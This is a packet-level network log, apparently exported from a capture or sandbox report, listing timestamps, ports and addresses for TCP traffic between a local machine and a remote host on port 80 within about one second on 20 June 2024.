Jun 20, 2024 15:38:19.216120958 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.216141939 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.216141939 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.216155052 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.216192961 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.216206074 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.216206074 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.216226101 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.216254950 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.216262102 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.216274977 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.216295004 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.216330051 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.216344118 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.216344118 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.216363907 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.216398001 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.216414928 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.216414928 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.216433048 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.216449976 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.216468096 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.216517925 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.216531992 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.216531992 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.216552019 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.216584921 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.216619015 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.216619015 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.216654062 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.216671944 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.216671944 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.216689110 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.216710091 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.216744900 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.216753006 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.216797113 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.216830015 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.216840982 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.216866016 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.216878891 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.216878891 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.216900110 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.216936111 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.216965914 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.216989994 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.217024088 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.217056990 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.217089891 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.217124939 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.217145920 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.217145920 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.217145920 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.217156887 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.217183113 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.218693972 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.218728065 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.218761921 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.218780994 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.218780994 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.218796968 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.218821049 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.218833923 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.218867064 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.218903065 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.218913078 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.218913078 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.218996048 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.240873098 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.243410110 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.243500948 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.243515015 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.243529081 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.243557930 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.243557930 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.243567944 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.243583918 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.243602037 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.243608952 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.243626118 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.243640900 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.243654966 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.243664026 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.243664026 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.243674994 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.243691921 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.243706942 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.243709087 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.243709087 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.243756056 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.243756056 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.243966103 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.243980885 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.243995905 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.244010925 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.244026899 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.244043112 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.244051933 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.244051933 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.244066954 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.244102955 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.244127989 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.244143963 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.244158983 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.244190931 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.244190931 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.246067047 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.246145964 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.246268988 CEST	49721	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.247606039 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.247622013 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.247637033 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.247687101 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.247687101 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.247704029 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.247719049 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.247734070 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.247750998 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.247761965 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.247761965 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.247797012 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.247797012 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.251451015 CEST	80	49721	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.257184029 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.257240057 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.257275105 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.257297039 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.257297039 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.257307053 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.257353067 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.257354021 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.257360935 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.257394075 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.257426977 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.257440090 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.257440090 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.257467031 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.257502079 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.257520914 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.257520914 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.257534981 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.257567883 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.257584095 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.257584095 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.257601023 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.257638931 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.257647991 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.257647991 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.257771969 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.257838011 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.257869005 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.257900000 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.257900953 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.257936954 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.257946014 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.257946014 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.257970095 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.258001089 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.258002996 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.258038044 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.258049011 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.258049011 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.258070946 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.258120060 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.258120060 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.258228064 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.258264065 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.258297920 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.258312941 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.258312941 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.258330107 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.258363962 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.258378983 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.258378983 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.258398056 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.258430958 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.258449078 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.258449078 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.258466005 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.258513927 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.258513927 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.273086071 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.273188114 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.273236036 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.273267984 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.273302078 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.273317099 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.273317099 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.273335934 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.273370028 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.273380995 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.273380995 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.273427010 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.273427010 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.273488045 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.273578882 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.273648024 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.302155018 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.302212000 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.302217960 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.302248955 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.302270889 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.302304029 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.302304029 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.302320957 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.302355051 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.302388906 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.302423954 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.302426100 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.302439928 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.302458048 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.302493095 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.302495003 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.302509069 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.302526951 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.302561045 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.302567005 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.302567005 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.302593946 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.302604914 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.302644968 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.302648067 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.302681923 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.302720070 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.302762032 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.302762032 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.302772045 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.302825928 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.302858114 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.302875996 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.302891970 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.302926064 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.302937984 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.302937984 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.302978992 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.303008080 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.303013086 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.303030968 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.303047895 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.303076982 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.303080082 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.303118944 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.303131104 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.303131104 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.303153992 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.303189993 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.303189993 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.303212881 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.303240061 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.303275108 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.303308010 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.303337097 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.303337097 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.303342104 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.303353071 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.303375959 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.303410053 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.303411961 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.303446054 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.303491116 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.303491116 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.303500891 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.303536892 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.303556919 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.303590059 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.303622961 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.303637981 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.303637981 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.303658962 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.303692102 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.303705931 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.303705931 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.303726912 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.303770065 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.303770065 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.305500031 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.305552006 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.305577040 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.305586100 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.305677891 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.305692911 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.305692911 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.305715084 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.305741072 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.305809021 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.305814981 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.305879116 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.306034088 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.306085110 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.330051899 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.330086946 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.330118895 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.330140114 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.330178976 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.330183983 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.330213070 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.330224991 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.330224991 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.330246925 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.330297947 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.330297947 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.330302000 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.330353975 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.330360889 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.330409050 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.330441952 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.330473900 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.330493927 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.330493927 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.330506086 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.330539942 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.330549955 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.330549955 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.330574989 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.330609083 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.330626965 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.330626965 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.330646038 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.330682993 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.330691099 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.330691099 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.330715895 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.330729961 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.330749989 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.330784082 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.330797911 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.330797911 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.330820084 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.330873966 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.330873966 CEST	49718	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:19.334407091 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.334422112 CEST	80	49718	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:19.334436893 CEST	80	49718	77.91.77.81	192.168.2.5
